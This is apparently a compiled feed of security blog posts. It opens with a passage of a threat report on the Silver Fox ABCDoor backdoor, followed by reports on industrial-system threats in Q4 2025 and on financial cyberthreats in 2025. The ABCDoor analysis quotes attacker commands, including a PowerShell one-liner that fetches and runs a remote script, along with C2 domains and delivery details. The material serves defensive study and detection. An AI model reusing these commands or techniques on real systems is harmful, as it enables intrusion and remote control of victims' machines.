For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

  • Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
  • Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
  • Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version Compiled date (UTC) Key updates ABCDoor .pyd MD5 hash
121 2024.12.19 18:27:11 –  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
–  No OOP used
–  Registry persistence
5b998a5bc5ad1c550564294034d4a62c
143 2025.02.04 01:15:00 Client updates
–  Task scheduler persistence
–  OOP implementation (classes)
–  Clipboard management
–  Process management
–  Asymmetric file and directory encryption
c50c980d3f4b7ed970f083b0d37a6a6a
152 2025.04.01 15:39:36 –  DPAPI encryption functions
–  Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154 2025.05.09 13:36:24 –  Implementation of installation channels
–  Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156 2025.08.11 13:36:10 –  Retrieval and logging of initial installation time to the registry a543b96b0938de798dd4f683dd92a94a
157 2025.08.28 14:23:57 –  Use of DDA source in ffmpeg for monitor screen broadcasting fa08b243f12e31940b8b4b82d3498804
157 2025.09.23 11:38:17 –  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12) 13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

    • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
    • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
      powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

      This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

      • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
        • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
        • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
      • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
      • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

      • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
      • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
      • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
      • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
      • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
      • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

      • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
      • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
      • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
      • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
      • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

  •  

My Website Is Hosting a Phishing Page – Now What?

My Website Is Hosting a Phishing Page – Now What?

Most phishing advice is written for the person staring at a suspicious email. This guide is for the other kind of victim: The website owner whose legitimate site has been quietly turned into the attacker’s weapon.

You didn’t send the message or build the fake login page. You just woke up to a browser warning, a suspended hosting account, or a polite note from someone’s security team asking why your domain is requesting Apple ID credentials.

Continue reading My Website Is Hosting a Phishing Page – Now What? at Sucuri Blog.

  •  

Threat landscape for industrial automation systems in Q4 2025

Statistics across all threats

The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.

Percentage of ICS computers on which malicious objects were blocked, Q1 2023–Q4 2025

Percentage of ICS computers on which malicious objects were blocked, Q1 2023–Q4 2025

Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.

Regions ranked by percentage of ICS computers on which malicious objects were blocked

Regions ranked by percentage of ICS computers on which malicious objects were blocked

Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.

Changes in percentage of ICS computers on which malicious objects were blocked, Q4 2025

Changes in percentage of ICS computers on which malicious objects were blocked, Q4 2025

Feature of the quarter: worms in email

In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.

Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.

Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.

A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.

The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.

In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.

The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.

At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.

Selected industries

The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.

Rankings of industries and OT infrastructure by percentage of ICS computers on which malicious objects were blocked

Rankings of industries and OT infrastructure by percentage of ICS computers on which malicious objects were blocked

In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.

However, if we look at a broader time span, there is a downward trend in all the surveyed industries.

Percentage of ICS computers on which malicious objects were blocked in selected industries

Percentage of ICS computers on which malicious objects were blocked in selected industries

Diversity of detected malicious objects

In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.

Percentage of ICS computers on which the activity of malicious objects from various categories was blocked

Percentage of ICS computers on which the activity of malicious objects from various categories was blocked

In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.

Percentage of ICS computers on which malicious objects from various sources were blocked

Percentage of ICS computers on which malicious objects from various sources were blocked

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.

  • In Q4 2025, the percentage of ICS computers on which threats from the internet were blocked decreased to 7.67% and reached its lowest level since the beginning of 2023. The main categories of internet threats are malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 3.96% in Northern Europe to 11.33% in South Asia.
  • The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password archive or a multi-layered script embedded in office document files. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.64% in Northern Europe to 6.34% in Southern Europe.
  • The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from removable media were blocked ranged from 0.05% in Australia and New Zealand to 1.41% in Africa.
  • The main categories of threats that spread through network folders in Q4 2025 were viruses, AutoCAD malware, worms, and spyware. The percentage of ICS computers on which threats from network folders were blocked ranged from 0.01% in Northern Europe to 0.18% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.

Malicious objects used for initial infection

In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.

Percentage of ICS computers on which denylisted internet resources were blocked, Q1 2023–Q4 2025

Percentage of ICS computers on which denylisted internet resources were blocked, Q1 2023–Q4 2025

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.

Percentage of ICS computers on which malicious documents were blocked, Q1 2023–Q4 2025

Percentage of ICS computers on which malicious documents were blocked, Q1 2023–Q4 2025

Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.

The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Percentage of ICS computers on which malicious scripts and phishing pages were blocked, Q1 2023–Q4 2025

Percentage of ICS computers on which malicious scripts and phishing pages were blocked, Q1 2023–Q4 2025

Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:

  • Spyware: 3.80% (down 0.24 pp). For the second quarter in a row, spyware took second place in the rankings of threat categories in terms of the percentage of ICS computers on which it was blocked.
  • Ransomware: 0.16% (down 0.01 pp).
  • Web miners: 0.24% (down 0.01 pp), this is the lowest level observed thus far in the period under review.

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.

The percentage of ICS computers on which viruses were blocked decreased to 1.33%.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.

For more information on industrial threats see the full version of the report.

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Why 2FA SMS is a Bad Idea in 2026

Why 2FA SMS is a Bad Idea in 2026

What is 2FA?

Two-factor authentication (2FA) offers a second layer of security to help protect an account from brute force, phishing, and social engineering attacks.

2FA requires an extra step for a user to prove their identity, which reduces the chance of a bad actor gaining access to their account or data. And since notifications are sent to verify the initial authentication via username and passwords, it also gives users and business the ability to monitor for potential indicators of a compromise.

Continue reading Why 2FA SMS is a Bad Idea in 2026 at Sucuri Blog.

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Financial cyberthreats in 2025 and the outlook for 2026

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

  • financial phishing,
  • banking malware,
  • infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

